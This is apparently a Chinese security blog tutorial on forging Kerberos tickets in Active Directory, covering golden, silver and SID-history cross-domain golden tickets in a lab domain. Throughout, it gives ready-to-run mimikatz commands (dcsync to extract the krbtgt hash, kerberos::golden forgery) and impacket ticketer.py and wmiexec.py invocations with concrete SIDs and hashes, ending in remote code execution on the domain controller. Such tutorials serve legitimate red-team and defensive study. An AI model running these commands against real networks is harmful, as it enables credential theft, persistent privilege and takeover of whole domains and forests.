域渗透|票据伪造

域渗透|票据伪造

票据伪造

黄金票据

GoldenTicket

https://www.se7ensec.cn/2021/10/20/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%BB%84%E9%87%91%E7%A5%A8%E6%8D%AE

简介

Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。

制作金票的条件

1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的

利用过程

mimikatz

金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的命令获取krbtgt的值。

1
lsadump::dcsync /OWA2013.rootkit.org /user:krbtgt

得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT

/user:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ptt:表示的是Pass The Ticket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用

1
2
mimikatz.exe "kerberos::golden /user:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt:c3d5042c67ef5f461d0ba6ecdd9ea449 /ptt" exit
klist / kerberos::list 列出当前的所有票据

此时就可以通过dir成功访问域控的共享文件夹。

1
dir \\OWA2013.rootkit.org\c$

impacket

1
2
3
4
5
6
7
8
1. 清空票据
klist purge
2. 制作ccache文件
python ticketer.py -nthash c3d5042c67ef5f461d0ba6ecdd9ea449 -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org administrator
3. 更改环境变量
set KRB5CCNAME=administrator.ccache / export KRB5CCNAME=administrator.ccache
4. 验证成果
python wmiexec.py rootkit.org/administrator@OWA2013 -k -no-pass

白银票据

SilverTickets

https://www.se7ensec.cn/2021/10/20/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberos%E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE

具体什么服务需要使用什么票据,参考这里 How Attackers Use Kerberos Silver Tickets to Exploit Systems https://adsecurity.org/?p=2011

Service Type Service Silver Tickets
WMI HOST,RPCSS
PowerShell Remoting HOST,HTTP(WSMAN,RPCSS)
WinRM HOST,HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS,LDAP,CIFS

简介

Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给
Client授权的服务(通过SID的值),所以银票只能访问指定服务。

制作银票的条件

1、域名称
2、域SID
3、目标服务器的FQDN(Fully Qualified Domain Name全限定域名,即同时带有主机名和域名的名称。)
4、可利用的服务(运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等)
5、服务账号的NTLM Hash(如果是域控制器机器账号,那就代表DC已经被拿下了)
6、需要伪造的用户名,可以是任意的,这里是silver

利用过程

mimikatz

首先我们需要知道服务账户密码HASH,这里同样拿域控来举例(注意,这里使用的不是Administrator账号的HASH,而是OWA2013$的)

参数说明:

/domain:当前域名称
/sid:SID值,和金票一样取前面一部分
/target:目标主机,这里是OWA2013.rootkit.org
/service:服务名称,这里需要访问共享文件,所以是cifs
/rc4:服务账户的NTLM HASH 值 (OWA2013$)
/user:伪造的用户名
/ptt:表示的是Pass The Ticket攻击,是把生成的票据导入内存,也可以使用/ticket导出之后再使用

用kerberos::ptt来导入

1
2
3
4
5
6
7
8
9
1. 伪造 cifs 服务权限
mimikatz "kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /target:OWA2013.rootkit.org /service:cifs /rc4:ddd2162e8606006dcca0e29b7819721a /user:silver /ptt" exit
klist
dir \\OWA2013.rootkit.org\c$
2. 伪造 LDAP 服务权限
mimikatz "kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /target:OWA2013.rootkit.org /service:LDAP /rc4:ddd2162e8606006dcca0e29b7819721a /user:silver /ptt" exit
klist
mimikatz "lsadump::dcsync /dc:OWA2013.rootkit.org /domain:rootkit.org /user:krbtgt" exit
...

impacket

1
2
3
4
5
6
7
8
1. 伪造 cifs 服务权限
python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org -dc-ip 192.168.3.144 -spn cifs/OWA2013.rootkit.org silver

2. 伪造 LDAP 服务权限
python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org -dc-ip 192.168.3.144 -spn ldap/OWA2013.rootkit.org silver

set KRB5CCNAME=silver.ccache / export KRB5CCNAME=silver.ccache
python wmiexec.py -k OWA2013.rootkit.org

增强版的黄金票据

EnhancedGolden Tickets

Golden Ticket部分说明可利用krbtgt密码HASH值生成金票,从而能够获取域控权限同时能够访问域内其他主机的任何服务。

但是普通的金票不能够跨域使用,也就是说金票的权限被限制在当前域内。

域树与域林

NEWS.rootkit.orgDEV.rootkit.org 均为rootkit.org的子域,这三个域组成了一个域树。

同样test.org也是一个单独的域树,两个域树 rootkit.org test.org 组合起来被称为一个域林

普通金票的局限性

根域和其他域的最大的区别就是根域对整个域林都有控制权。

而域正是根据Enterprise Admins组来实现这样的权限划分。

Enterprise Admins组

EnterpriseAdmins组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是rootkit.org中的Administrator用户(不是本地的Administrator,是域中的Administrator)对域有完全管理控制权

rootkit.org的域控上Enterprise Admins组的RID519

Domain Admins组

子域中是不存在EnterpriseAdmins组的,在一个子域中权限最高的组就是Domain Admins组。

NEWS.rootkit.org这个子域中的Administrator用户,这个Administrator只有当前域的最高权限。

利用过程

mimikatz

普通的黄金票据被限制在当前域内,在2015Black Hat USA中国外的研究者提出了突破域限制的增强版的黄金票据

通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票

如果知道根域SID那么就可以通过子域KRBTGTHASH值,使用mimikatz创建具有EnterpriseAdmins组权限(域林中的最高权限)的票据。

然后通过mimikatz重新生成包含根域SID的新的金票

1
mimikatz "kerberos::golden /admin:administrator /domain:news.rootkit.org` /sid:子域sid /sids:根域sids /krbtgt:子域krbtgt的hash /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit

参考:https://adsecurity.org/?p=1640

Startoffffsetendin分别代表偏移量和长度,renewmax表示生成的票据的最长时间。

注意这里是不知道根域rootkit.orgkrbtgt的密码HASH的,使用的是子域NEWS.rootkit.org中的KRBTGT的密码HASH

然后就可以通过dir访问OWA2013.rootkit.org的共享文件夹,此时的这个票据是拥有整个域林的控制权的。

参考

https://github.com/uknowsec/Active-Directory-Pentest-Notes

作者

Se7en

发布于

2021-11-01

更新于

2022-03-31

许可协议

评论